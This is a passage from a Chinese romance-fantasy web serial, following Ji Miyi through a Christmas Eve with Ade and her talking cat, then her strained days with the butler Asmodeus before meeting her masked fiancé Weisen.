他自然地站到纪觅依身侧,拿起一片屋顶形状的姜饼,用木勺舀起糖霜,细致地涂抹在边缘,与另一片墙壁形状的饼干粘合在一起。
“就像这样,把它们组合。”他悄悄靠近她,带着刚烤完姜饼的甜香,“你学会了吗?”
纪觅依点头,专心地忙碌着手上的细致活。她学着他的样子,认真涂抹并拼接起来。
她的动作有些笨拙,糖霜不是涂少了,就是溢出来了。
阿德没有催促,只是将椅子拉近,坐在她身边耐心等待,偶尔在她手忙脚乱时,用指尖轻轻抹去多余的糖霜。
角落里传来某位生闷气的小猫的“哼唧”声,它虽然心里还是不满,但看无人搭理它,终究按捺不住好奇心,偷偷爬上椅子,观察着纪觅依的动作。
它不知道,自己的一举一动早已被她的余光捕捉。
纪觅依早就心软,可面上仍绷着。她将猫形姜饼拿起,故意大声对阿德说:
“屋子已经拼好了,接下来,这三个姜饼人怎么摆呢?”
阿德明白她的小心思,拿起他们的姜饼人,摆在一起,接过姜饼猫,隔着足足一掌的距离立好。
“这样就好。”
“不好,不好!”咕噜两只爪子扣住桌布,后脚使劲把身子往桌上送,气喘吁吁走来,一爪将阿德的姜饼人扇倒,又将姜饼猫推到纪觅依的姜饼人旁,“这样才对。”
阿德如法炮制,在纪觅依背后向咕噜挑了挑眉,顺手将姜饼猫送回老地方。
这两个幼稚鬼就这样来回了数次。
眼见自己千辛万苦搭好的姜饼屋,就要在二位又争又抢的动作下毁于一旦,纪觅依双手往两边伸直,中断了这场没有硝烟的斗争。
“停!”
阿德老实站好,咕噜也乖乖坐下,但他们只要眼神一相交,就开始在心里咒骂对方——
耍流氓的臭小孩。
真碍事的臭猫。
可谁都没说出口,选择将视线转移到纪觅依身上。
而作为焦点的她,开始一番端水行为:
她将姜饼阿德放在自己的姜饼人左边,将姜饼猫放在右边,粗略地比了比距离,确定差不多对称后,松了一口气。
“这下满意了吗?”
一人一猫齐声道:“嗯。”
解决完这个难题后,他们一起将餐桌收拾整齐。
纪觅依满脸骄傲地欣赏着自己的大作,脑中灵光闪过,原本环抱在胸前的双手猛地一拍。
“我们去堆雪人吧!”
阿德为她披上大衣,温柔说道:“好,我们一起。”
“喵。”咕噜翘着尾巴在她腿边绕圈,“我也要。”
“都来都来!”
肆意数天的大雪,在今天销声匿迹,阳光反射在白雪皑皑的地面,点亮了整个世界。
“喵呜——”
咕噜蹦起,一头扎进雪堆。纪觅依刚准备将它抱起,却被阿德抢了先。
而咕噜睁开眼,发现抱住自己的是那个讨厌的家伙,使劲浑身解数挣扎。
“别闹了,今天我们约法三章。”阿德低声道,“让她开开心心的,我们都不许再吵了。”
咕噜刚想反驳,却被纪觅依的笑脸牢牢吸住。
她双手白嫩,指尖冻得泛红,却像感受不到温度般,眯起笑眼,俯身团起雪球,两只手左右交替将它拍实。
咕噜从未见到她这幅样子,它不情愿道:“好,我答应你,不代表我接纳你,我只是为了她。”
阿德拍掉它背上的雪块,说道:“我一样。”
斗了六天的两位冤家,此时达成了共识,暂时放下前嫌。
“砰——”
纪觅依手臂一扬,雪球砸向阿德的腿边。她发现自己的偷袭失败后,立马迈开步子边逃边求饶:
“别还击,我不是故意的。”
可雪太深,她只能把腿拔出再往前走,以极慢的速度进行极短距离的移动。
阿德将咕噜放在地上,他们相视一笑,咕噜用爪子团起雪球,阿德接过,朝纪觅依的方向扔去。
好巧不巧,没有一个命中的,雪球像是故意躲着她般,完美绕过。
“哎呀!”
即使雪球打不到她,纪觅依还是本能地闪躲了几次,结果重心不稳,栽进雪堆中。
她躺在地上,望向天空。
真好......
纪觅依乐着,一时半会不想爬起,她刚闭上眼没几秒,身边传来“沙沙”的脚步声。
阿德躺在了她的左边,咕噜躺在了她的右边,安安静静地陪着她,望向天空。
真好——
如果一直这样下去,也不是不行。
她放空大脑,享受着空气中白雪干净的气息、赤松的清香,还有,独属于他们的味道。
“好了,都起来,都起来,等会着凉了。我们还要堆雪人呢!”
纪觅依站起,一手拉起一个,牵着他们走到家门前。
她认真思考后,说道:“来分工,嗯......我想想,咕噜负责团雪球。”
“喵呜!”
“我负责做出雏形,阿德负责再次加工!”
“好。”
在有条不紊的规划下,纪觅依很快完成了雪人的雏形,虽然有点惨不忍睹。
看着她为难的表情,阿德拍了拍她的肩膀,说道:“交给我吧!”
纪觅依再次被他的天赋惊艳到,刚才不知为何物的雪团,在他手下变成两人一猫的雪人,魔术般出现在门前,栩栩如生。
“好厉害!”
纪觅依发自内心赞叹,突然想起什么,冲进房间,提着给阿德织的围巾。
“借你的围巾用一下哟。”
她将围巾缠绕在雪人阿德的脖子上,满意地后退检查。
阿德走上前:“很好看,但我觉得,可以再改一下。”
他将围巾解开,披在雪人纪觅依和雪人阿德脖子上。
“这样是不是更好?”
他扭头看向她,右侧的脸颊浮出一个浅浅的酒窝。
纪觅依发了神,呆呆地盯着他的脸,久久不能回神。
咕噜团完雪球,刚歇几口气,看到这一幕,正欲打断,又想起和阿德的承诺,只能鼓着脸溜回房内,嘀咕着:
“眼不见,心不烦,眼不见,心不烦......”
“姐姐?”
“诶,诶!”纪觅依这才回过神,尴尬地搓了搓手,“那个,太冷了,我们回屋吧。咕噜呢?”
“它在你发呆的时候已经回去了。”阿德明知道她看的是自己,却一脸单纯问道,“姐姐,你在看什么,这么着迷?”
“我,我这叫冻傻了!”
他才不信她简单的敷衍,又怕她恼羞成怒,只好假装懂了:“哦——”
“好了,别哦了,快回去。”
纪觅依咬着嘴唇,尴尬到想原地消失,留下一个狼狈的背影,钻回屋内。
“哈——”阿德在她走后,独自低声笑着,左
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手拂过雪人纪觅依的唇瓣,宛如与爱人窃窃私语道,“真好。”
他整理着连接着两个雪人的围巾,拍去身上的冰渣,走回房间。
阿德刚关上门,咕噜就走到他脚边,眼睛一转,开口道:“嗯......谢谢你。”
“但不代表我要接纳你!我只是,因为今天平安夜,我其实一点也不。”
它逐渐语无伦次,可罕见的是,阿德没有对它冷嘲热讽,反倒蹲下,耐心等着它。
咕噜耷拉着脑袋,越说越没有底气:“好吧,我想说,对不起。还有谢谢你,她真的很开心,我能感受的到。”
它就差把头埋进胸口,像只鸵鸟般藏起,又好奇地时不时抬眼看看阿德的反应。
“我也谢谢你。”阿德揉了揉它的脑袋,“感谢你一直陪着她。”
“吃饭吗,二位?”
纪觅依端起三个碗,稳稳走到餐桌前,这画面让阿德想起了,与她相遇的第一天。
“喵!来啦!”
他走到自己的位置上,与那日不同的是,现在的他已经是一个成熟男人的身段。
不变的依旧是,温柔招呼自己坐下的她——
“我做的肯定没你好吃,但是我讲究一个有始有终,今天是我们相处的最后一晚。”
说到这,纪觅依的语气有些哽咽,她深呼吸了几口气,压下涌来的伤感。
“虽然,没几天,但是我是真的把你当做亲弟弟。”
阿德原本难掩的笑意瞬间消失。
“今晚是平安夜,我不想把气氛变得那么沉重,我来许个愿吧!”
她双手合十,放在胸口,紧闭双眼,十分虔诚地说道:
“我希望,我们三个永远健康快乐,能够一直在一起。”
她睁开眼,催促着阿德:“你也许个愿,今天可是平安夜呢!”
“好。”
阿德留恋地看着她,随后闭上眼睛,默念道:
“我希望,永远和姐姐在一起。”
“喵呜!”
他不情愿补充道:“还有咕噜。”
“喵——”
纪觅依将勺子递给阿德:“快吃吧!应该没那么烫了。”
这是他们之间的最后一顿晚饭,没有明里暗里的争吵,只有彼此在暗处涌动、不见天日的心意。
阿德吃完,一手揽过收拾碗筷的工作,将纪觅依推到床边,按住她的肩膀,喊她坐下:
“最后一晚了,让我来。”
纪觅依见反抗不了,只好妥协,缩在被窝里,揉搓着咕噜温热的肚皮。
今晚的柴火烧得格外旺,烘出了她的瞌睡虫。
在与眼皮的抗争中,她挥舞着白旗,宣告失败,侧身倒下。
等阿德忙完这一切,看到的就是这幅画面。
他将咕噜从她怀里抽出,放在枕边,温柔地抱起纪觅依,调整着她的睡姿,为她掖好被角。
在即将起身时,视线不由自主落在了她微微泛红的耳尖。
一吻落下。
“姐姐,姐姐......”
他同她耳鬓厮磨,嘴里喊着“姐姐”,却做着大逆不道的事。
“纪觅依。”
睡着的人下意识地回应了一声“嗯”,他知道她没醒,继续毫无顾忌低语道:
“明天来树林里找我。”
他的唇瓣再次贴上她的耳尖,如同一场无声地告别。
-----------------
“阿德!”
纪觅依大喊一声,噩梦之中,她目睹阿德转身离去,任自己怎么呼喊,也得不到他一次回首。
而梦醒后,他真的走了。
纪觅依从床上爬起,一切有关于阿德的痕迹都消失了,那座他们共同搭好的姜饼屋也不复存在。
她三下两下穿好衣服,裹紧大衣,拉开门,义无反顾地走入风雪之中。
昨天他们堆起的雪人就像一场梦,或者说,这一切就像是她的一场梦。
“阿德?阿德!你去哪里了?”
纪觅依的声音被冷漠的狂风吞噬,只留下张嘴时呼出的热气。
我要去哪里找他?
......树林。
冥冥之中,她感应到,阿德绝不是她的幻想,她顶着风雪,走向那片在大脑中不断回响的森林。
纪觅依被风吹得抬不起头,只能埋着脑袋,努力看清脚下的路。
不知走到何时,万物俱寂,如同被一道无形的屏障隔开,而误入这片领域的纪觅依抬起头,眼前是一座古朴的庄园。
“咔——”
背后有人!
她还来不及转身,就被紧紧抱住,她能感受到身后之人沉重的呼吸声,依恋地从她颈侧划过。
“姐姐——”
是阿德!
“我好高兴,你来找我了。”
纪觅依想转身,正视着自己养了七天的少年,质问他为什么不辞而别。
可在他的怀抱中,所有的挣扎都是徒劳。
“悄悄告诉你,我就是你心心念念的圣诞老人。我把我自己送给你,还有这座庄园,你喜欢吗?”
???
谁?
你?
纪觅依的大脑空白,她实在无法将印象中花白胡子、满脸慈祥的老爷爷同阿德联系在一起。
她还没把这条信息消化掉,更劲爆的来了:
“再告诉你一件事,姐姐。我不叫阿德,我叫——”
“阿,斯,莫,德。”
-----------------
“啊——”
纪觅依从梦中惊醒,连掐了自己数十次,确信自己是彻底醒了,而刚才只是一场梦。
好歹毒的梦!
这简直就是巧克力味的屎!
纪觅依轻拍着胸口,手往枕边摸去。
不对?床单不是这个触感啊?
她扭头一看,一条折叠整齐的红绿棋盘格围巾,静静躺在她手下。
23. 别怕我
纪觅依那句话落下后,空气凝固,陷入冰点。
阿斯莫德伸出的手僵在半空,指尖离她的手臂只有一步之遥,如同隔着终生无法逾越的天堑。
他脸上带着些许悲伤的温柔面具,出现了一道清晰的裂痕,他的额角开始没有规律的抽搐,就好像那道疤痕有了生命,逐渐苏醒蜷缩。
快,快逃!
极强的危机感在纪觅依的心中咆哮,她开始后悔刚才的行为——
如果他被激怒了,那自己不就走了前辈们的老路了?
她想转身就跑,可紧张侵蚀着她的理性,纪觅依被冻在原地,只能仍由身体本能的颤抖。
“您说得对。”
阿斯莫德开口,声音平稳,可不知道是不是她的错觉,纪觅依在这四个字中,听到了无尽的悲哀。
他主动后退一步,拉开距离:“是我僭越了。伊拉小姐。请原谅我的失态。”
阿斯莫德微微躬身,身姿无可挑剔:“马车就在前方,请您小心脚下。”
纪觅依没有再看他,原本僵住的身子恢复知觉,她果断迈开步子,径直向前走去。
她能感受到,那道目光沉甸甸地落在自己背上。
可她没看到,背后的阿斯莫德嘴巴微张,无声地说出那句:
“别怕我......”
纪觅依快步登上马车,几乎是小跑着钻了进去。
车厢内,他精心布置的软垫此刻显得无比讽刺,她蜷缩在角落,紧紧抱着那个装着匕首的木盒,坚硬的棱边隔着布料贴在胸口。
结束了。
纪觅依的心脏还在因刚才的对峙狂跳,消耗次数留下的刺痛感恰在此时回荡,但相较于这个,她更多感受到的是一种冷——
彻骨的冷,是一种尘埃落定的清醒。
所有暧昧的试探,所有自欺欺人的“战友”幻想,都结束了。
马车开始行驶,颠簸中,纪觅依低下了头,打开木盒,在即将昏迷之际,对着刀柄上那颗绿宝石说道:
“我讨厌你,你个骗子......”
马车在寂静中驶回庄园,他们彼此都不知道,这一路对方究竟在想些什么。
或许对于纪觅依而言,只是昏迷中的一片空白;可对于阿斯莫德而言,则是一场清醒的凌迟。
到达庄园门口后,马蹄声交叠数声后停下,纪觅依缓缓醒来。
阿斯莫德将门打开,伸出手臂,目光锁定在地面,避免与她对视。
“请下车,伊拉小姐。”
他的声音平稳得没有一丝波纹,以恭敬的姿势肃立在车门旁。
阿斯莫德,成为了那个无懈可击的庄园执事。
纪觅依没有看他,更没有搭手,自己提着裙摆下了车。
她如一阵风般与他擦肩而过,径直走向大门。
从那天起,庄园进入了一种古怪的“正确”秩序。
阿斯莫德将管家的职责履行到极致,收敛起所有个人情绪。纪觅依不太适应这种感觉,她形容不上来,但好像,一切本该如此:
早餐、午餐、晚餐,他都会准时出现,沉默地布置,沉默地侍候,再沉默地离去。
他不会在她沉思时倒上热茶,不会在她品尝时询问口味,也不会在她打量的目光投来时,给出任何回应。
这种极致的疏离感延伸到了每一个细节,甚至,他每次敲响房门的时候,会刻意退后,直到与她相隔足足一米。
在他这样做的第二天,纪觅依开始感到烦躁,但又无处可发泄。她想为这种情绪寻根溯源,却连逻辑都理不顺。
按理来说,他的态度就是她想要的:她不用紧绷着神经,提防着他的试探和报复,也不用刻意释放恶意,驱逐对方远离。
可这又好像不是她想要的。
纪觅依躺在床上,丝毫没有困意,盯着天花板发呆。
“咕噜,你睡了吗?”
“唔......没有......”
听着咕噜迷迷糊糊的声音,纪觅依犹豫再三,还是忍不住向它倾诉。
“我有点不知道怎么办了。”
咕噜没有回应,纪觅依反而更大胆的继续说下去。
“我好矛盾,明明我应该庆幸,他没有执着的要靠近我,我也不怕他再骗我,毕竟我们现在连话都不说。”
“但,我总觉得心里空落落的。”
她翻过身,数着咕噜的翘起的胡须,陷入了沉思,自问道:
“这是,为什么呢?”
纪觅依知道,在这个世界,她需要他,他的每一个回答都是她需要逐字逐句,推敲斟酌的关键。
可这一切都是假的。
那该怎么解谜,怎么破局,怎么来看待在这个世界中,自己第一个产生信任的人?
“一定是我在这里待太久了,不行,再这样待下去迟早出问题。”
“......嗯。”
这声音从咕噜的鼻腔里溢出来,不知是对她的肯定还是睡熟的梦话。
“你也觉得我说的对吗?”纪觅依立马用手支起身子,发丝垂落下来,盖住它的尾巴,“肯定是我这几天没找到新线索,太焦虑,想太多。”
她躺回去,把被子扯上来,盖在自己和咕噜身上。
“我一定很快就能回家的。到时候我们一起,一起回家。”
-----------------
窗外的天色逐渐亮起,纪觅依早就醒来,或者说,她难得一整晚都没完全睡着。
床上只剩下她孤零零一个人,咕噜不知何时,又无声无息地消失了。
纪觅依试着闭上眼,混乱的思绪驱逐着她的睡意,即使她逼着自己放空大脑,好好休息一会,还是无果。
她最后索性起身,走到窗边。
纪觅依没有料到,这么早,后花园就有一个身影在那里忙碌——
阿斯莫德额前的头发被早晨的雾气沾湿,贴在额角。他毫不在意,只专注于手下的土地。
纪觅依站在窗帘的阴影里,静静看了片刻。
随着他的动作,繁星花周围多了许多不同种类的邻居。阿斯莫德种完一排月季后,起身收拾工具,离开了花园。
纪觅依的视线在他的身影消失后收回。
她倒数着秒数,在默念到“0”时,阿斯莫德敲响了房门。
“早上好,伊拉小姐,可以用餐了。”
他的声音隔着门传来,纪觅依打开门,下楼后走到餐桌前坐好。
她的眼神不受控的观察着阿斯莫德,猜测着他是如何在这么短时间内,把自己收拾干爽。
等等,在想什么呢!
她控制着乱飘的思绪,疯狂在心里暗示:
别看他了,别管他了!只剩一天了,马上就要和维森相处了,现在最重要的是找线索。
对,需要线索。
可......
她吃完饭后,找遍了房间,重读了日记,在楼道一次又一次踱步,寻找任何被忽略的痕迹。
主楼的走廊依旧沉寂,维森的房门冰冷如初,那座痛苦的圣女雕像沉默地伫立。
没有新的信息,没有偶然的发现。一切仿佛被无形的力量擦拭过,干净得令人心慌。
纪觅依已经不记得在这几日中,自己已经是第几次啃咬指关节了,这已成为她的习惯性动作。
她走到森林边缘,这道墨绿色的天然边界线,唤醒着曾经阿斯莫德对她的警告。
既然,他一直在欺骗我,那这座森林一定也是!
纪觅依从未生起过如此强烈的叛逆念头,她提起裙摆就准备迈入森林。
“伊拉小姐。”
阿斯莫德从背后喊出她的名字,无形阻挡着她的冒险。
“还有半个小时就可以用晚餐了。”
纪觅依转身,看向阿斯莫德。在她打算对这句“提醒”置之不理时,森林处传来一声野兽的呜咽。
“……好。”
这声音来得无比巧妙,如同在回应她的怀疑。
纪觅依攒住裙摆的手泄力,自然落在身侧。
阿斯莫德往回走去,背对着纪觅依,面向西沉的红日,像走进了一副色彩瑰丽的油画中。
夕阳肆意挥洒在天幕,沉郁的橘红色在它的笔触下,或浓或淡,与云层相拥,无规律的流动中。
近乎血色的天空如
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同没有温度的火焰,而阿斯莫德放慢脚步,仰头凝望着这片熊熊燃烧的光海。
他的影子被无限拉长,扭曲地投在坑坑洼洼的地面。
纪觅依随即停下了脚步,夕阳的光在他们之间流淌,他们静立在那里,一言不发。
她看到了他垂在身侧的左手,以极小的幅度抖动着。
一个荒谬的想法击中了她——或许,阿斯莫德才是最痛苦的人。
在这个想法刚诞生之际,纪觅依就从头到脚将它批判了一顿,她咬住下唇,强迫自己移开视线,绕过阿斯莫德走回主楼。
“骗子。”她低声重复着马车上的那句话,声音轻得几乎听不见,“你连痛苦都要演得这么逼真吗?”
而阿斯莫德抽搐的左手停下抖动,随即虚握成拳,像是要抓住什么极易流逝的东西。
他最后望了一眼夕阳,走回主楼。
晚餐时分,餐厅里的沉默比往日更加沉重。
在阿斯莫德倒茶时,纪觅依盯着他的手,忽然开口:“明天,我就要见到维森了。”
他的动作一顿,茶水从壶嘴流出时失去了精准的控制,差点溢出茶杯。
“明天我会见到维森。”她重复了一遍,声音平静,“你有什么建议给我吗,阿斯莫德先生?”
这是数日以来,她第一次主动对他说话,也是第一次喊出他的名字。
阿斯莫德站起身,将茶杯放到她手边,眼神依旧落在桌面,不敢看向她:
“维森先生嘱托我在今晚为您送上明天要穿的礼服。”
只是这样?
纪觅依扯了扯嘴角:“没有别的了吗?”
回答她的只有漫长的沉默。
纪觅依心中窝藏依旧的火气愈发旺盛,她端起茶杯一饮而尽,将盘子里的食物一卷塞入口中,起身离开。
她回到房间,烦躁地抓了抓头发,走向洗浴间。
看着镜子里因为这些烦心事憔悴的脸,纪觅依下定决心洗个澡,收拾一下自己。
水流顺着身体曲线流下,她低头看向胸口血红色的数字【6】,深深叹了口气。
在纪觅依刚洗完,换上睡裙时,敲门声响起。
她裹住还未揉干的头发,走向门口,拉开一条供上半身探出去的缝隙。
“伊拉小姐,这是维森先生为您准备的礼服。”
阿斯莫德无意间瞟到了她的肩头,立即低头,紧盯地面。
“谢谢。”
她接过后,关上房门,随手将礼服放在床头柜。
第二道铃声已经响起,奇怪的是,咕噜还没有出现。
纪觅依拿着铃铛去洗浴间呼唤它,却没有得到任何回应。
复杂的情绪拖住她疲惫的脚步,纪觅依坐在床边,房间内是一片死寂,她又变成孤身一人。
这一晚,时间如同在沙漏中游走,煎熬、漫长、毫不停歇,残酷地留向明天。
天光微亮,纪觅依记不清这是自己第几次翻身,她眼睁睁看着深蓝的天幕一点点褪色,寂静终于被远处几声鸟啼打破。
她起身,赤着脚走到窗边,后花园里却没有那个熟悉的身影。
纪觅依在空落的心情下换上礼服,墨绿色的丝绒贴合着身体,裹住了她一夜未眠的苍白。
礼服的腰身收得极紧,束出清晰的弧度,却压得她难以呼吸。
下摆骤然放开,裙摆逶迤在地,随着走动,犹如一汪会呼吸的湖水,无声暗涌。
纪觅依从药箱中取出包扎用的绷带,缠绕在阿斯莫德送她的匕首上,随后绑在自己的大腿上。
做好这一切,她推开门,外面没有熟悉的身影。
纪觅依捋了捋腰间的鱼骨,面对着身穿华服的第一道考验——下楼。
她侧着身子,眼睛死死盯住脚下的每一层台阶,计算着每一步落下的位置。
别摔啊,别摔啊!
纪觅依几乎是提心吊胆的走下,终于到了最后一级台阶,她不着痕迹地深吸一口气,随后抬起头,如往常一般走向餐桌。
可当看到坐在餐桌另一头的人时,她的脚步,连同呼吸,瞬间冻结。
“早上好,我亲爱的伊拉。”
24. 缄默的真相
是维森。
纪觅依清楚地听到了他面具之下的轻笑声。
“果然,如我所想一般美丽。”
他原本搭在扶手上的左手抬起,苍白的手指不带一丝血色,抚上面具。
维森的食指在面具上轻敲了三下,纪觅依能感受到他的眼神愈发热切。
“快坐下吧,我亲爱的伊拉,等你吃完早餐,我们就要出发了。”
纪觅依攥住裙摆的双手用力到发白,紧贴着大腿侧绑住的匕首,试图从中寻找一些安全感。
在维森的注视下,她几乎是一步一挪走到餐桌前,拉开椅子坐好,拿起玻璃杯轻抿几口,杯中的牛奶不像往日那般温热——
“早上好,维森。”纪觅依鼓起勇气,主动和这个陌生的未婚夫对话,“你知道,阿斯莫德在哪里吗?”
对方看起来无比满意从她嘴里听到自己的名字,故意拉长声音:“哦——他啊,不是一直在你身后吗?”
纪觅依的脊背瞬间僵直,她强忍住没有回头,但脖颈后的寒毛根根立起。
身后的阿斯莫德从阴影中走出来,默默地看着这一切。
直到身后的薄荷气息越来越近,纪觅依才发觉,原来从她下楼时,甚至更早,阿斯莫德就站在那里。
他悄无声息,如同与这个死寂的主楼融为一体。
阿斯莫德走到纪觅依身边,俯身询问:“您好,伊拉小姐,请问有什么吩咐。”
“我。”纪觅依慌乱中推了推面前的玻璃杯,“牛奶凉了。”
“哐当——”一声闷响,杯子应声而倒,牛奶在平整的桌布上渗开一片刺眼的纯白。
她猛地往后一缩,下意识看向身旁刚准备接过杯子的阿斯莫德,随即才意识到自己做了什么,脸上瞬间涨红:
“我,不好意思......”
“阿斯莫德,你把我的未婚妻吓到了。”维森起身,伴着皮鞋在地面上有节奏的敲击声,走到她身边,“来我的位置用餐吧,伊拉,不必为这种小事惊慌。”
他拉起了纪觅依的左手,看似轻轻握住,却带着不容拒绝的威压,冰凉的触感让她不禁打了个寒颤。
恰在此时,阿斯莫德抬眼。
他的视线死死黏在纪觅依的背影上,滑到她单方面被握着的手,眼睁睁看着维森拉着她走到主座上。
维森迈着轻快的步伐,走到她右手边坐下,抬手向阿斯莫德吩咐道:“管家,再备一份餐。”
阿斯莫德低头应下:“好。”
纪觅依拘谨地坐在椅子上,维森的注视如同一层密不透风的膜裹住她,暗暗期待着她做出些回应
她扯动着嘴角,挤出两声干笑:“谢谢......”
百般纠结中,这两个字是纪觅依能想到的最优解。
得到这个回答,维森笑了一声,往后一倒,靠在椅背上,手指十分惬意地在扶手上敲打,跳跃的节奏映照着他此时的心情。
“不谢哟。”
维森话音落下后,阿斯莫德端着餐盘走来。
他俯身摆放在纪觅依面前,银质的餐具与桌面接触,发出了比往常稍重的响声。
他一言不发,只是将新的牛奶杯放在她的左手边,随后轻微地调整了一下杯子的位置。
纪觅依以为,他是怕自己再次打翻杯子。她悄悄往左侧挪动,伸手拿稳后才送到嘴边,低声说了句“谢谢”。
维森眯起眼盯着阿斯莫德的一举一动,亲眼看着他将杯子挪到了离自己更远的距离,嘴角一撇。
“我的管家。”维森开口道,声音里带着一丝不悦,手指也停下了敲打的动作,“你今天的服务,似乎有些心不在焉。”
阿斯莫德后退一步,拉开了与纪觅依的距离,朝维森的方向以更低的姿态躬身。
“抱歉,维森先生,是我的失误。”
“失误?”他轻笑道,目光落在了纪觅依快埋进盘子里的侧脸,“我看,是你的注意力不在本职工作上。”
这句话一次性刺穿了两个人。
纪觅依感到握着刀叉的指尖发麻,她不敢抬头,只能盯着盘里的煎蛋,假装正在欣赏它金灿灿的油光。
阿斯莫德没有回答,沉默在餐厅中发酵。
“下不为例。”维森摆了摆手,似乎失去了兴趣,“车夫马上就来了,去准备一下,我不希望再有什么失误。”
“......是。”
阿斯莫德应下,转身消失在长廊里。
车夫?
听到这句话的纪觅依动作一顿,她眼前几乎瞬间闪过集市老妇人和杰尼焦急的脸,以及想象中麦克消失后的种种惨状。
她察觉到维森再次看向自己后,立即停下思考,自然地将煎蛋送入嘴中。
维森没有注意到她的异常,将身体往前一凑,单手托腮,歪着脑袋欣赏着她进食的样子。
在外人眼里十分和谐美好的一幕,到了纪觅依这里,如同一部不知后续的惊悚片。她已经不在意盘子里食物的味道,只想快点吃完,从他腻歪的眼神下逃离。
她加快着咀嚼的速度,同时也要注意姿态不能狼狈,否则就是与伊拉贵族小姐的人设相悖。
纪觅依将最后一口面包塞到嘴里,就着牛奶咽下,擦了擦嘴巴,坐得笔直,说道:
“我吃完了。”
她抬头与维森对视,也是第一次看清了他的双眸。
在那张苍白的面具孔洞下,是一双浑浊的眼睛。
他的眼球上蒙着一层雾气般的白膜,只在眨眼间,能偶然窥探到白雾之下的底色——那是一种了无生机的绿色。
不同于咕噜和阿斯莫德,他的眼睛更像是死气沉沉、黏腻在她身上的苔藓。
“吃饱了吗?”
维森的询问拉回了纪觅依打量的目光,她连点了好几下头。
得到她的回应后,他站起身,伸出手准备牵着她离开餐厅。
“我,我们要出发了吗?”
纪觅依假装眼睛被额前的碎发扎进,抬起左手揉着眼,右手也随即拨弄着头发,刚好躲开了维森。
他收回了手,背在身后,挑了挑眉,紧盯着她起身。
维森回答道:“是的,你忘了吗,伊拉?回家的路途遥远,现在不出发,可能今晚到不了。”
“家”这个字眼,对于此时的她而言,更像是一个遥不可及的幻想。
现在回的这个“家”,只是伊拉的,不是自己的。
唯一的相同点,可能就是遥远吧。
她移开视线,心中不免感伤道:“我,我记得,只是问问罢了。”
“那我们走吧。”
他不再试着牵她,只是侧身做了个“请”的手势,示意她先行。
纪觅依提起裙摆,尽量让步伐显得从容,走向大门。而维森身后跟随她的步伐节奏,不紧不慢地走着。
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二人穿过长廊,走出大门,绕过喷泉,来到庄园外。
门外,并非纪觅依之前乘坐的普通马车。
一辆庞大且通体漆黑的马车静静伫立,繁复缠绕的鎏金雕花从车厢边框向四周蔓延,车门的正中央镶嵌着硕大的家族徽章——
那是一对试图舒展的天使羽翼,却被两柄造型古朴的长剑交叉贯穿,死死钉住。
两匹高大的黑马喷着鼻息,晃动着与车身相连的缰绳,马蹄不安地刨着地面。
此时,一道纪觅依无比熟悉、让她瞬间毛骨悚然的声音响起:
“这马真好啊!啧,瞧瞧,不愧是贵族的马。”
纪觅依瞪大了眼睛,看着车夫爽朗笑道,抬起手,不停地拂过马匹的鬃毛。
当那张脸完全出现在她视线范围内后,纪觅依惊呼道:
“麦克?”
她笃定地走向车夫,这张脸太有记忆点了,她不可能认错。
麦克被她这一喊,立马抬起头,发现正在走过来的纪觅依,也万分惊喜,回应道:“伊拉小姐!真高兴又能见到您啊!”
此时,维森紧随她突然加快的步伐,走到她身边,从上到下审视了一遍车夫,问道:“认识?”
麦克满脸欣喜,下一秒就答道:“是啊,维森先生,当时就是我把伊拉小姐送到庄园的。”
在纪觅依难以置信的目光下,他挠了挠脑袋,憨憨地笑了几声:“我也没想到,我一个小车夫也能被记住。”
“我的未婚妻就是如此善良。”维森搂过纪觅依,她的肩膀抵着他的胸脯,“不管是什么身份的人,她似乎都格外上心。”
他说完这话,阿斯莫德从马车后方走来。
他像是没有看见二人亲昵的姿势般,声音毫无感情,说道:“行李已经收拾好了,维森先生,请您检查。”
维森搂着纪觅依的手一发力,和她贴得更紧。他垂眸看向她,语气无比温柔,像是在安慰不舍的爱人:
“那我去检查一下,顺便给阿斯莫德交代一些事情。在这等我,好吗?”
纪觅依对上了他的眼神,硬着头皮一笑,乖巧地点了点头。
维森的手终于从身上卸下,纪觅依心中长舒了口气。
等二人走到马车后方,她确定相隔一定距离后,对麦克招了招手。
“您和您未婚夫的感情真不错。”麦克笑着打趣道,说完后又想起了些什么,脸上堆满歉意,“那个,不好意思,我之前也是听信了谣言......”
“麦克。”纪觅依沉着脸打断了他,“你不是失踪了吗?”
他搓了搓手,不好意思说道:“啊,啊这个是个误会。”
“其实是,您的管家帮我找了个报酬极高的活,除了有点远,其他的全是好处啊。我跑这一趟的收入,赶上大半年呢!”
他越说越激动,纪觅依皱着眉问道:
“我的管家,阿斯莫德?”
“对啊对啊!”
麦克连连应下,继续说道:“说到这,还怪不好意思的,我之前还在您面前说他的坏话。”
“多亏了他的引荐,我才能得到这个机会。当时找到我的人说,是因为您的管家和那位先生讲,我是一个认真负责的车夫,嘿嘿,也没想到我有一天会被夸成......”
纪觅依自动屏蔽了他的喋喋不休,脑中只有一个想法——
难道,这一切都是误会?
25. 追悔莫及
阿斯莫德撕裂的形象在她脑中疯狂碰撞,却拼凑不出一个完整的真相。
“等等!”纪觅依猛地抓住一个逻辑漏洞,声音压得更低,“那这件事,为什么杰尼不知道?他担心得不得了,到处找你!”
麦克一拍脑袋,咂舌解释道:“啧,哎呀!这事怪我,害你们白担心。”
“那天我太高兴了,拉着他喝了两杯,他醉得厉害,我也迷迷糊糊,忘了他这喝醉酒就断片的毛病。”
“所以......”纪觅依接过他的话,“其实,你和他讲了,但是他没记住?”
“对啊对啊,这其实就是一场误会。”
误会。
又是“误会”。
这个词像是一只毒辣的白蚁,啃噬着纪觅依这几日用恐惧、愤怒和猜疑筑起的高墙。
如果麦克的事是误会,那她对阿斯莫德那些尖锐的审判、刻意的疏离......
又算什么?
一场建立在她单方面揣测与臆想、可笑又残忍的独角戏?
纪觅依感觉大脑一片空白,眼前的景象晃动出残影。
就在这时,主仆二人结束了谈话,从马车后方转出。阿斯莫德跟在维森身后,脸色异常苍白,嘴唇抿成一条僵硬的直线。
纪觅依的目光不受控制地投向他,带着自己都未厘清的情绪:
是惊愕,是愧疚,或许还有几丝责怪——
责怪阿斯莫德为什么不和自己讲清楚,为什么不解释。
可......
他试着解释了,只是她不愿意信任他。
纪觅依回想起那次从集市回来,对于他而言,自己的情绪可以说得上是莫名其妙,阿斯莫德怎么会知道做什么才是正确的呢?
他唯一能做的,就是回答她的问题。
纪觅依在那本日记回溯里所看到的,在集市上所听到的,都是他所不知晓的事情——
他才是唯一不知所措的人。
“阿......”
纪觅依张开嘴,想喊出他的名字,想和他独处,想把一切都聊清楚......
想说一声“对不起”。
可现实往往不如愿,维森的身影嵌入她的视线。
